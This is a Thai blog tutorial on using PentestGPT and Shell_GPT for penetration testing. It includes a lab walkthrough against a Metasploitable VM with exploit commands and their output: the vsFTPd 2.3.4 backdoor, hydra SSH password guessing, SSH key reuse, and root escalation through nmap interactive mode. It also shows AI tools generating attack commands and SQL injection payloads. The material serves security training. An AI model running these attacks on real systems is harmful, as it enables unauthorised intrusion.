การใช้ ChatGPT ช่วยงาน Offensive Security

8 ตุลาคม 2024

พิชญะ โมริโมโต
พิชญะ โมริโมโตหัวหน้าทีมทดสอบเจาะแฮกระบบ (lead penetration tester) ของบริษัท สยามถนัดแฮก, เป็นที่ปรึกษาด้านความปลอดภัยให้หน่วยงานเอกชน, เป็นที่รู้จักกันในฐานะ หนึ่งในแอดมินกลุ่ม 2600 Thailand และเป็นหนึ่งในคนเขียนบทความลงเพจ สอนแฮกเว็บแบบแมว ๆ

อะไรคือ ChatGPT แล้วเราจะนำมันมาใช้ใน Offensive Security ได้อย่างไร?

GPT เป็นโมเดลภาษาขนาดใหญ่ (Large Language Model หรือย่อว่า LLM) ที่พัฒนาโดย บริษัท OpenAI ซึ่ง GPT ถูกออกแบบและเรียนรู้มาเพื่อให้ฉลาดพอจะเข้าใจและสามารถรองรับการสื่อสารได้คล้ายกับมนุษย์ ด้วยความสามารถนี้ถูกใส่เข้าไปใน ChatGPT ให้รองรับการโต้ตอบกับผู้ใช้งานผ่านการ Chat สามารถถูกนำมาใช้ใน เพื่อช่วยเพิ่มประสิทธิภาพในกระบวนการ Offensive Security ได้

แอปพลิเคชัน LLM ยอดนิยม นอกเหนือจาก ChatGPT (OpenAPI) แล้วก็ยังมี ของค่ายอื่น ๆ อีกเช่น Gemini (Google), Claude (Anthropic) และ Copilot (Microsoft) แต่จะไม่ขอกล่าวถึงในบทความนี้

Offensive Security เป็นแนวทางในการรักษาความปลอดภัยไซเบอร์ที่มุ่งเน้นไปที่การค้นหาและแก้ไขช่องโหว่ของระบบก่อนที่ผู้โจมตีจะสามารถใช้ประโยชน์จากช่องโหว่นั้นได้ การใช้ ChatGPT สามารถช่วยเสริมกระบวนการต่าง ๆ ในการทำ Offensive Security ได้ เช่น การวิเคราะห์ข้อมูลอัตโนมัติ (Automated Data Analysis), การช่วยหาช่องโหว่ในโค้ดรวมถึงเขียนโค้ดโจมตีช่องโหว่ และ การสร้าง Template ข้อความสำหรับการหลอกขอข้อมูลจากเหยื่อ (Phishing หรือเรียกโดยรวมว่า Social Engineering)

การนำ ChatGPT มาใช้สามารถ จะลดเวลา, ปรับปรุงความถูกต้อง และ สร้างสรรค์กลยุทธ์ใหม่ ๆ ในการทำ Offensive Security ได้เป็นอย่างมาก ในบทความนี้เราก็จะมาดูตัวอย่างง่าย ๆ กันเป็นไอเดีย

ChatGPT มีฟีเจอร์ Custom ChatGPT ที่ผู้ใช้สามารถปรับแต่งค่าของ ChatGPT เพื่อที่จะสามารถทำงานต่อเนื่องได้โดยไม่ต้องป้อนคำสั่งเดิมซ้ำหลายครั้ง นอกจากนี้ Custom ChatGPT ยังมีหลายรูปแบบที่ถูกพัฒนาโดยผู้เชี่ยวชาญในแต่ละสาขา เพื่อช่วยในการทำงานในสาขานั้น ๆ  รวมถึงในสาขาของ Offensive Security ด้วย

(ตัวอย่างขั้นตอนการสร้าง Custom ChatGPT)

 

นอกจากใช้ผ่านหน้าเว็บตรง ๆ แล้วนั้น ChatGPT ยังมีฟังก์ชันที่ผู้พัฒนาสามารถนำ OpenAI API มาใส่ในโปรแกรมได้ โดยการรวม OpenAI API เข้ากับโค้ดส่วนอื่น ๆ ของโปรแกรม จะช่วยให้โปรแกรมสามารถประมวลผลคำถามจากผู้ใช้งานได้ด้วยพลังของ ChatGPT และ สามารถตอบสนองกลับได้ในทันที หนึ่งในโปรแกรมที่ได้มีการผสาน OpenAI API เข้าไป และ สามารถนำมาใช้สำหรับ Offensive Security ได้คือ PentestGPT และ Shell_GPT

PentestGPT เป็น Custom ChatGPT ในรูปแบบ สคริปท์ใช้ผ่าน Command Line Interface (CLI) ที่ถูกปรับแต่งสำหรับงาน Offensive Security โดยเฉพาะ PentestGPT สามารถช่วยวิเคราะห์ข้อมูลที่พบระหว่างการทดสอบความปลอดภัย เพื่อลดระยะเวลาในการทำงานได้ และยังมีอีกโปรแกรมทางเลือกหนึ่งคือ Shell_GPT ที่ใช้ประโยชน์จาก OpenAI API เช่นกัน เพื่อช่วยให้ผู้ใช้งานสามารถใช้คำสั่งผ่าน Terminal ในงาน Offensive Security ได้อย่างสะดวกและมีประสิทธิภาพ 

ในบทความนี้ เราจะมาสำรวจโปรแกรมและเทคนิคที่ใช้ ChatGPT ในงาน Offensive Security กัน

PentestGPT

อะไรคือ PentestGPT?

PentestGPT เป็นโปรแกรมที่ออกแบบมาเพื่อช่วยในการทดสอบการเจาะระบบโดยเฉพาะ สามารถช่วยในการทำให้กระบวนการประเมินช่องโหว่มีความอัตโนมัติมากขึ้น รวมถึงให้คำแนะนำเกี่ยวกับแนวทางปฏิบัติ ตามขั้นตอนที่ถูกต้อง

PentestGPT พัฒนาเป็นส่วนหนึ่งของงานวิจัยที่ถูกตีพิมพ์และนำเสนอในงานสัมมนา 33rd USENIX Security Symposium อ้างอิงจาก

https://www.usenix.org/conference/usenixsecurity24/presentation/deng และ https://arxiv.org/html/2308.06782v2

ใน Paper ของงานวิจัย PentestGPT ได้มีการลองเปรียบเทียบ Model ของ GPT-3.0, GPT-4.0 และ Bard ซึ่งได้ข้อสรุปว่า GPT 4.0 มีประสิทธิภาพ ในภาพรวมของขั้นตอนการทำ Pentest ได้ดีที่สุดใน Sub-Task ด้านต่าง ๆ

และยังได้มีการนำไปทดสอบใช้งาน PentestGPT ทดสอบเจาะระบบเครื่องเซิร์ฟเวอร์ จำลองของผู้ให้บริการระบบการเรียนรู้อย่าง HackTheBox พบว่าสามารถช่วยเจาะระบบเครื่องเซิร์ฟเวอร์โจทย์ในระบบ ในระดับความยากขั้น Easy ได้ดี และในระบบ Medium ได้บางส่วน แต่ถ้าเป็นงานระดับ Hard แล้ว อาจไม่ได้ช่วยแก้ปัญหาได้มากนัก

ทำไมเราไม่ใช้ ChatGPT ในการทำ Offensive Security โดยตรง?

ปัญหาของการใช้ ChatGPT ในการทำ Offensive Security โดยตรง คือ Model อย่าง GPT-4.0 อาจจะสับสนในบริบทเมื่อการถาม-ตอบ ผ่านไปได้ซักระยะหนึ่ง (ตัวอย่างเช่น เกิน 8,000 Token รวมทั้งคำถามและคำตอบ) ทำให้ ChatGPT ลืมหรือสับสนข้อมูลที่เคยให้ไป นอกจากนี้ PentestGPT ยังมีการการปรับแต่งมาเพื่อใช้สำหรับการทำ Offensive Security โดยเฉพาะ ดังนั้นคำตอบที่ได้รับจาก PentestGPT จึงจะพยายามถูกปรับเพิ่มเติม ให้มีความเหมาะสมสำหรับการทำ Offensive Security มากกว่า ChatGPT ปกติ

การใช้ PentestGPT ผ่าน Command Line Interface (CLI)

ในตัวอย่างนี้ผู้เขียนจะยกตัวอย่าง สำหรับการติดตั้งบนระบบปฏิบัติการ Windows 11 แต่สามารถนำไปปรับใช้ติดตั้งบน Linux และ macOS ได้เช่นกัน

จะขอแบ่งการติดตั้งออกเป็น 3 ขั้นตอนได้แก่

  • ติดตั้ง Python และ pyenv-win
  • ตั้งค่าบัญชี OpenAI สำหรับใช้งาน API 
  • ติดตั้ง PentestGPT

ขั้นตอนที่ 1 – ติดตั้ง Python และ pyenv-win

เริ่มจากการติดตั้ง Python 3.12 และ PowerShell 7 จากโปรแกรม Microsoft Store 

ดังตัวอย่างต่อไปนี้ (กดปุ่ม Get)

 

จากนั้นค้นหาโปรแกรม PowerShell ในเครื่องของเรา … โดยจะต้องคลิกขวาและเปิดโปรแกรมด้วยสิทธิ์ผู้ดูแลระบบ (Run as administrator) (สำคัญมาก)

ใช้คำสั่งต่อไปนี้ในการติดตั้ง pyenv-win ซึ่งเราจะใช้ในการติดตั้ง PentestGPT ในขั้นตอนต่อไป

 

Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/pyenv-win/pyenv-win/master/pyenv-win/install-pyenv-win.ps1" -OutFile "./install-pyenv-win.ps1"; &"./install-pyenv-win.ps1"

จากนั้นตั้ง Environment Variable ของ Windows โดยไปที่เมนู This PC ใน File Explorer คลิกขวาและเลือก

   → Properties

      → Advanced system settings

         → Advanced → System Environment Variables…

            → PATH

กด Edit ที่ Variable ชื่อ Path และ New ค่าดังตัวอย่างนี้

  • C:\Users\user\.pyenv\pyenv-win\shims
  • C:\Users\user\.pyenv\pyenv-win\bin

 มื่อเสร็จเรียบร้อยแล้วเปิดและปิด PowerShell อีกครั้ง (ด้วยสิทธิ์ Administrator เหมือนเดิม) จะสามารถใช้งาน pyenv ได้ ให้พิมพ์คำสั่งต่อไปนี้ เพื่อติดตั้ง Python และตั้งค่าให้ถูกเรียกใช้งาน

 
pyenv install 3.12.5
pyenv global 3.12.5
 

ขั้นตอนที่ 2 – ตั้งค่าบัญชี OpenAI สำหรับใช้งาน API 

การจะใช้งาน OpenAI API ได้อย่างเต็มประสิทธิภาพ จะมีเงื่อนไขถูกจำกัด Model และจำนวนการใช้งาน แบ่งตามระดับการเติมเงิน (Tier) ต่าง ๆ อ้างอิง https://platform.openai.com/docs/guides/rate-limits/usage-tiers?context=tier-free

ในบทความนี้เราจะเน้นใช้ Model ล่าสุดที่ OpenAI API มีให้นั้นคือ GPT-4o ซึ่งจะอยู่ใน Tier 1 ที่มีเงื่อนไข ต้องเติมเงินเข้าไปใน OpenAI ขั้นต่ำที่ $ 5 หรือตกอยู่ที่ประมาณ 170 บาท

วิธีการคือเข้าสู่ระบบและไปที่หน้าเว็บ Billing (ต้องสร้าง Organization ก่อนถ้ายังไม่มี)
https://platform.openai.com/settings/organization/billing/overview

เมื่อเราเติมเงินเรียบร้อยแล้วก็ให้ไปทำการกดยอมให้ API สามารถใช้ Model ต่าง ๆ ได้ที่เมนู Limits

https://platform.openai.com/settings/<PROJECT-ID>/limits (ค่า <PROJECT-ID> จะแตกต่างกันไปของแต่ละบัญชี)

ในกรณีนี้เราก็จะติ๊กให้หมดเลย โดยเฉพาะ gpt-4o และกดปุ่ม Save

สุดท้าย ทำการสร้าง API Key สำหรับนำมาใส่ใน PentestGPT

โดย Open API ได้เปลี่ยนจาก API Key แต่ละบัญชี ไปเป็น API Key ระดับโครงการ (Project) แทน

เมื่อกด “Create secret key” ก็จะได้ค่า API Key มาตัวอย่างเช่น  sk-proj-05n_EXAMPLE_zhMyLlS-llZfhyFLdome9IS6Fd2FMA ให้จดค่านี้ไว้ในที่ ๆ ปลอดภัย อย่าง Password Manager

ขั้นตอนที่ 3 – ติดตั้ง PentestGPT

ในขั้นตอนสุดท้ายนี้เราจะมาติดตั้ง PentestGPT กันเริ่มจากไปดาวน์โหลดโค้ดที่ https://github.com/GreyDGL/PentestGPT

Unzip ไฟล์ PentestGPT-main.zip และใช้ PowerShell (ด้วยสิทธิ์ Administrator เช่นเดิม) ไปที่ Directory นั้น และติดตั้ง PentestGPT ด้วย pip ดังนี้

 
cd C:\Users\user\Desktop\PentestGPT-main
pip install . 

เมื่อติดตั้งเรียบร้อยแล้ว ให้ทำการตั้งค่า Environment Variable ที่สำคัญดังนี้ (สำคัญมาก ขั้นตอนนี้ต้องรัน PowerShell เป็นสิทธิ์ Administrator)

setx OPENAI_API_KEY "sk-proj-05n_EXAMPLE_zhMyLlS-llZfhyFLdome9IS6Fd2FMA" /M

(แก้ค่า sk-proj-… เป็นค่าตามที่ได้มาในการติดตั้งขั้นตอนที่ 2) ปิดและเปิด PowerShell ใหม่และลองใช้คำสั่ง pentestgpt-connection เพื่อตรวจสอบว่า API Key ใช้งานได้จริง ๆ (ไม่จำเป็นต้องตั้งค่า CHATGPT_COOKIE ใน 3. ก็ได้)

เพียงเท่านี้ เราก็จะพร้อมใช้งาน PentestGPT กันแล้ว ! มาทดสอบกันหน่อยดีกว่า

pentestgpt
 

ด้วยพลังแห่งการเติมเงิน เราก็จะได้ Model ในส่วน gpt-4o มาใช้งานกับ PentestGPT
คำตอบที่ได้รับจะแบ่งออกเป็น 2 ส่วน

  • สถานะของ รายการที่จะต้องทำ (Task List)
  • รายการที่กำลังจะทำ (Task Selection and Execution)

ในสถานการณ์นี้เราจะใช้ Kali Linux (https://www.kali.org/get-kali/#kali-virtual-machines) พยายามแฮกเครื่องเป้าหมายชื่อ Metasploitable จากทาง Rapid7 (https://docs.rapid7.com/metasploit/metasploitable-2/) ซึ่งเป็น Virtual Machine Image ที่ออกแบบมาให้มีช่องโหว่จำนวนมาก สำหรับการทดสอบใช้งานโปรแกรม Metasploit

ผู้เขียนได้ติดตั้ง Metasploitable และ Kali Linux เรียบร้อยแล้วในโปรแกรม VMWare Workstation ในตัวอย่างนี้เราจะระบุว่าเราต้องการที่จะทำการทดสอบเจาะระบบ (Pentest) ไปที่ หมายเลขไอพีของ Metasploitable คือ 192.168.200.129

“I want to pentest against the IP 192.168.200.129 that is a vulnerable Linux VM image”

จะเห็นได้ว่า PentestGPT ได้ตอบกลับคำสั่ง nmap -p- <target_ip> ให้เราลองนำไปใช้ และ ยังได้บอกอีกว่าให้นำผลลัพธ์ของคำสั่ง กลับมาบอก PentestGPT อีกครั้งเพื่อวิเคราะห์ผล

หลังจากใช้คำสั่ง nmap ที่ได้รับมาจาก PentestGPT จะได้ผลลัพธ์ดังนี้

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 23:22 EDT
Nmap scan report for 192.168.200.129
Host is up (0.031s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
47810/tcp open  unknown
55084/tcp open  unknown
56448/tcp open  unknown
60868/tcp open  unknown
MAC Address: 00:0C:29:72:BC:E2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 65.09 seconds

จากนั้น เราสามารถพิมพ์คำสั่งโต้ตอบกับ PentestGPT ได้ดังนี้

ในตัวอย่างนี้เราจะพิมพ์ next และเลือก tool ต่อ

การ กด “ตกลง” จะใช้การกดปุ่ม Shift ค้างไว้และกดปุ่มลูกศรชี้ไปทางขวา (>) 

ในเมนู tool นี้เราจะนำผลลัพธ์จาก nmap ไปใส่ใน PentestGPT โดยไม่สั่งอะไรเพิ่มเพื่อที่จะดูความสามารถในการวิเคราะห์ของ PentestGPT 

ซึ่งจะได้คำตอบมาดังนี้ 

คำตอบจะมี ส่วน Task 

และส่วน Task ที่แนะนำเลือกมาให้ทำก่อน PentestGPT บอกว่า FTP เป็นจุดเริ่มต้นที่น่าสนใจเพราะ อาจการตั้งค่ายอมรับบัญชีแบบ Anonymous ซึ่งสามารถทำให้เราสามารถเข้าสู่ระบบแชร์ไฟล์ได้ 

เมื่อนำคำสั่ง ftp 192.168.200.129 ไปทดสอบ ด้วยบัญชี anonymous จะผลลัพธ์เป็นดังนี้

 

$ ftp 192.168.200.129
Connected to 192.168.200.129.
220 (vsFTPd 2.3.4)
Name (192.168.200.129:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

 

หลังจากที่เข้า FTP ด้วยการใช้ Anonymous เป็นทั้งชื่อผู้ใช้งานและรหัสผ่านได้แล้ว พิมพ์ next และ tool เพื่อใส่ผลลัพธ์คำสั่ง จากนั้น PentestGPT จะชวนให้เราโจมตีช่องโหว่ของ vsFTPd 2.3.4 ในหมายเลข CVE-2011-2523

เนื่องจาก PentestGPT ไม่ได้ให้คำสั่งมา พิมพ์ discuss เพื่อขอข้อมูลเพิ่มด้วยการบอกว่า “any exploit ?” คือ ขอวิธีโจมตีไป เลย

PentestGPT ตอบกลับมาว่าวิธีการโจมตีช่องโหว่คือ

ftp 192.168.200.129
# พิมพ์ชื่อ user ที่ลงท้ายว่า :)
nc 192.168.200.129 6200

เมื่อทดสอบพบว่า สามารถโจมตีช่องโหว่นี้ได้จริง และได้ เข้าถึงเครื่องเซิร์ฟเวอร์เป็นสิทธิ์ Root ผ่าน Backdoor ของช่องโหว่ CVE-2011-2523

เราก็ทำเหมือนเดิม next แล้ว tool ใส่ผลลัพธ์ จากนั้น PentestGPT ก็จะอัปเดต Task List ว่าเราได้ทำการโจมตีสำเร็จแล้ว

พร้อมแนะนำให้เราทำการหาข้อมูลเพิ่มเติมในการขยายผลไปเจาะส่วนอื่น ๆ ต่อ (Lateral Movement)

เราจะพัก FTP ไว้ตรงนี้ และไปลอง Service อื่นกันบ้าง เช่น SSH ที่ Port 22

พิมพ์ discuss และใส่ข้อมูลไปว่า ให้ไปช่วยหาช่องโหว่และวิธีเจาะ SSH หน่อย “check out SSH on TCP port 22. any vulnerability there and how to exploit it?”

PentestGPT ก็ให้ไปลอง ssh เข้าไปเพื่อตรวจรุ่นของ OpenSSH ก่อน ถึงจะตอบได้ว่ามีช่องโหว่อะไรไหม ก็ทำตามแล้ว next > tool เอาผลกลับมาตอบ PentestGPT และกด Shift + > เหมือนเดิม

คราวนี้ PentestGPT บอกว่า OpenSSH อาจมีช่องโหว่ CVE-2008-0166 ให้ไปสร้าง Weak SSH Key ด้วยช่องโหว่ ที่เกิดจากการสุ่มค่าที่ไม่ปลอดภัย และลองเอามาเข้าสู่ระบบดู
ก็ next และ user-comments ก็จะได้คำตอบว่าใช้ searchsploit หาโค้ดโจมตีมาลองใช้ได้

แต่คำสั่งไม่ถูกต้อง ให้เติม –cve ก่อนใส่หมายเลข CVE

ซึ่ง PentestGPT ก็สามารถแนะนำต่อได้ .. แต่ Exploit นี้มีหลายขั้นตอน ขอให้ผู้อ่านเอาไปทดสอบโจมตีกันเป็นการบ้าน !

ต่อไปจะลองให้ PentestGPT ช่วยนำเสนอวิธีการเดารหัสผ่าน SSH

พิมพ์ next จากนั้น default และพิมพ์ว่า “I need to guess ssh password, give me commands”

ข้อดีหนึ่งของ PentestGPT เทียบกับการใช้ ChatGPT บนเว็บ คือมีการสรุป Task และผลลัพธ์การทดสอบในแต่ละ Task ให้ตลอดเวลา ทำให้ผู้ทดสอบ Pentest เห็นภาพรวมสรุปว่าอะไร เราลองทำไปแล้วได้ผลยังไง อะไรเรายังไม่ได้ลองทำ (แต่ต้องคอยนำผลกลับมาบอก ChatGPT)

 

hydra -l <username> -P <password_list> ssh://<target_ip>
 เอามาลองยิงกันใส่ไฟล์รายชื่อรหัสผ่านยอดนิยม 200 อันดับ และบัญชีผู้ใช้งานเป็น user
 
hydra -l user -P /usr/share/seclists/Passwords/2023-200_most_used_passwords.txt -t 10 ssh://192.168.200.129
 

พบว่าสามารถเดารหัสผ่านที่ถูกต้องคือ user ได้ ! นำผลลัพธ์กลับมาบอก PentestGPT หลังจากนั้น PentestGPT จึงให้เราหาข้อมูลโดยการอ่านไฟล์ในระบบ เราจึงอ่านไฟล์ตามที่ PentestGPT บอก

(ตัวอย่าง Task หมวด Post-Exploitation ที่ PentestGPT สรุปมาให้ว่าเราทำอะไรไปแล้วบ้าง)

จนกระทั้งเจอข้อมูลดังนี้

 

[...]
user@metasploitable:~$ cat /home/user/.bash_history 
ssh-keygen -t dsa
ls
cd .ssh
ls
sudo -s
cd /home/user
ls
ls .ss
ls .ssj
clear
ls .ssh
sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys
sudo -s
exit
[...]

PentestGPT จึงให้เราเข้าสู่ระบบด้วย ssh ของบัญชี msfadmin จากการใส่ SSH Private Key ของบัญชี user ได้ (เนื่องจาก บัญชี user เอา SSH Public Key ตนเองไปใส่ในไฟล์ authorized_keys ของ msfadmin) และยกระดับสิทธิ์ด้วย SUID Binary (เพราะว่าพบการรันคำสั่ง sudo -s) ดังนี้

ซึ่งเราสามารถเข้าสู่ระบบด้วยบัญชีผู้ใช้งาน msfadmin ได้ด้วยวิธีการตามนั้นจริง ๆ 

user@metasploitable:~$ ssh -i /home/user/.ssh/id_dsa [email protected]
The authenticity of host '192.168.128.2 (192.168.128.2)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.128.2' (RSA) to the list of known hosts.
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Tue Jul 16 03:58:23 2024
msfadmin@metasploitable:~$ 

พอเข้าสู่ระบบได้ PentestGPT ให้เราลองหาข้อมูลเพิ่มซึ่งหนึ่งในข้อมูลที่เจอคือ nmap เป็น รุ่น 4.53 ซึ่ง PentestGPT บอกว่ามี โหมด interative ซึ่งสามารถนำมาใช้ เพื่อทำการยกระดับสิทธิ์ ได้ดังนี้

พอเราลองใช้คำสั่งก็พบว่าสามารถทำการยกระดับสิทธิ์ได้จริง ๆ

msfadmin@metasploitable:~$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# 
sh-3.2# whoami
root
sh-3.2# id
uid=1000(msfadmin) gid=1000(msfadmin) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

แต่… ในความเป็นจริงแล้ว เราสามารถใช้คำสั่งนี้ได้ตั้งแต่บัญชี user แล้วโดยไม่ต้องย้ายไปบัญชี msfadmin ก็ได้

user@metasploitable:~$ nmap  --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2# id
uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user)

ข้อจำกัดของ PentestGPT

  • ถึงแม้ PentestGPT จะสามารถถูกนำมาช่วยได้ แต่ PentestGPT ยังไม่สามารถที่จะแก้ปัญหาที่มีความซับซ้อนได้ 
  • ต้องนำคำสั่งที่ได้รับมาจาก PentestGPT มาใช้งานเอง และยังต้องนำกลับไปบอก PentestGPT เพื่อให้เข้าใจสถานการณ์ปัจจุบัน

Shell_GPT

อะไรคือ Shell_GPT?

Shell_GPT เป็นโปรแกรมที่ออกแบบมาเพื่อให้ผู้ใช้สามารถโต้ตอบและใช้งานคำสั่งที่ ChatGPT สร้างขึ้นได้บน Terminal โดยไม่ต้องคัดลอกคำสั่งจากเว็บ ดังนั้น Shell_GPT จึงสามารถถูกนำมาช่วยในการทำ Offensive Security ให้มีความอัตโนมัติมากขึ้นได้ เช่น การสแกนเครือข่าย การประเมินช่องโหว่ และการพัฒนา Exploit Payload โดยที่นั้น Shell_GPT สามารถใช้งานได้เพียงบน Terminal เท่านั้น ไม่สามารถใช้บนเว็บของ OpenAI ได้

ทำไมต้องใช้ Shell_GPT?

Shell_GPT อนุญาตให้ผู้ใช้สามารถใช้งานคำสั่งที่ ChatGPT สร้างได้โดยไม่ต้องไปคัดลอกคำสั่งจากเว็บ ทำให้สามารถลดเวลาในการทำ Offensive Security ได้เมื่อเทียบกับการใช้ ChatGPT ในวิธีทั่วไป 

การใช้ Shell_GPT ผ่าน Terminal

ในตัวอย่างแรก เราลองให้ Shell_GPT สร้างคำสั่ง SQL สำหรับการโจมตีช่องโหว่ SQL Injection ตามรูปนี้

ในรูปจะเห็นได้ว่า Shell_GPT ได้สร้างคำสั่งมาให้เรา และจะมี 3 ตัวเลือกให้เรา โดยที่จะมีตัวเลือก ดังนี้

  • [E]xecute
    • คำสั่งนี้จะสั่งให้ Shell_GPT ใช้งานคำสั่งที่สร้างขึ้นมา สั่งโดยการใส่ตัวอักษร E
  • [D]escribe
    • คำสั่งนี้จะสั่งให้ Shell_GPT อธิบายคำสั่งที่ถูกสร้างขึ้นมา สั่งโดยการใส่ตัวอักษร D
  • [A]bort
    • คำสั่งนี้จะสั่งให้ Shell_GPT ยกเลิกการทำงาน สั่งโดยการใส่ตัวอักษร A

หลังจากที่เราได้ลองสั่งให้ Shell_GPT อธิบายคำสั่งที่ถูกสร้างขึ้นมาด้วยคำสั่ง [D]escribe แล้ว  Shell_GPT จะอธิบายรายละเอียดของคำสั่งที่สร้างมาให้เรา ดังในรูปด้านล่าง

นี่สามารถช่วยให้เราเข้าใจการทำงานของคำสั่งที่เราจะใช้ได้เพื่อลดความผิดพลาดได้ อย่างไรก็ตาม

หลังจากนั้นเราสามารถที่จะใช้คำสั่ง [E]xecute เพื่อให้ Shell_GPT ใช้งานคำสั่งได้เลยโดยที่ไม่ต้องคัดลอกคำสั่งไปใช้งานอีกที

พอเราได้สั่งให้ Shell_GPT ใช้คำสั่งที่สร้างขึ้นมาจะเห็นได้ว่า Shell_GPT ได้ใช้คำสั่งเพื่อสร้างไฟล์ใหม่ที่ชื่อว่า sql_injection_payloads.txt มา และ เมื่อเราใช้คำสั่งเราลองอ่านไฟล์ดูจะเป็นไปตามนี้

สำหรับอีกตัวอย่างในการใช้ Shell_GPT เราสามารถบอก Shell_GPT ในสิ่งที่เราต้องการจะทำได้ โดยในตัวอย่างนี้เราจะบอกให้ Shell_GPT สแกน Top 1000 Port ของ IP ดังในรูป

นอกจากที่จะให้คำสั่งที่จะสแกน Top 1000 Port มาแล้ว ยังมีการใช้คำสั่ง -Pn เพื่อที่จะข้ามขั้นตอนการทำ Host Discovery

อย่างไรก็ตาม Shell_GPT ไม่สามารถที่จะช่วยหรือเสนอคำสั่งให้เราได้ ดังนั้นหากสิ่งที่เราสั่ง Shell_GPT ไปมีความไม่ชัดเจน หรือ มีคำสั่งแตกต่างกันเพียงเล็กน้อย Shell_GPT ก็จะให้คำสั่งที่ต่างกันออกไป ในคำสั่งต่อไป เราเพียงตัดคำว่า IP ออกจากคำขอของเรา Shell_GPT ก็ให้คำสั่ง Nmap ที่ต่างออกไปแล้ว

ในคำสั่งที่ Shell_GPT ให้มารอบนี้ไม่มีการใช้คำสั่ง -Pn เพื่อที่จะข้ามขั้นตอนการทำ Host Discovery และไม่มีการระบุจำนวน Port ที่ต้องการสแกน (แต่ค่าเริ่มต้นของ Nmap นั้นจะเป็น Top 1000 Port อยู่แล้ว) ซึ่งเป็นคำตอบที่แตกต่างกันมากสำหรับการลบเพียงคำว่า IP

ดังนั้นการใช้ Shell_GPT เลยจำเป็นที่จะต้องระบุคำสั่งที่ต้องการให้ละเอียดเพื่อที่จะได้ผลลัพธ์ที่มีประสิทธิภาพที่สุด ดังรูปต่อไปนี้

ข้อจำกัดของ Shell_GPT

  • ถูกสร้างมาเพื่อช่วยในการทำงานกับ shell ดังนั้นอาจจะไม่ได้มีประโยชน์ในกรณีโปรแกรมที่ทำงานในรูปแบบอื่น ๆ นอกเหนือจากใน shell
  • ผู้ใช้ต้องอธิบายในสิ่งที่ต้องการจะทำให้ชัดเจน เพื่อที่จะให้ Shell_GPT สร้างคำสั่งมาให้ถูกต้อง
  • หากคำสั่งต่างกันเพียงนิดเดียวก็จะได้ผลลัพธ์ที่ต่างกันจาก Shell_GPT

การใช้โปรแกรมเพื่อการทำ Offensive Security เช่น PentestGPT เป็นสิ่งค่อนข้างใหม่ ในการทดสอบและปกป้องระบบจากการถูกโจมตีทางไซเบอร์ อย่างไรก็ตาม การใช้งานโปรแกรมเหล่านี้จำเป็นต้องปฏิบัติตามกฎหมายและจริยธรรมที่เกี่ยวข้องอย่างเคร่งครัด เพื่อป้องกันการทำผิดกฎหมาย ผู้ใช้งานควรได้รับการอนุญาตจากเจ้าของระบบหรือหน่วยงานที่เกี่ยวข้องก่อนการทดสอบเจาะระบบ และควรมีความรู้และความเข้าใจในหลักปฏิบัติที่ถูกต้องเพื่อไม่ให้เกิดผลกระทบที่ไม่พึงประสงค์

 

 

 

บทความที่เกี่ยวข้อง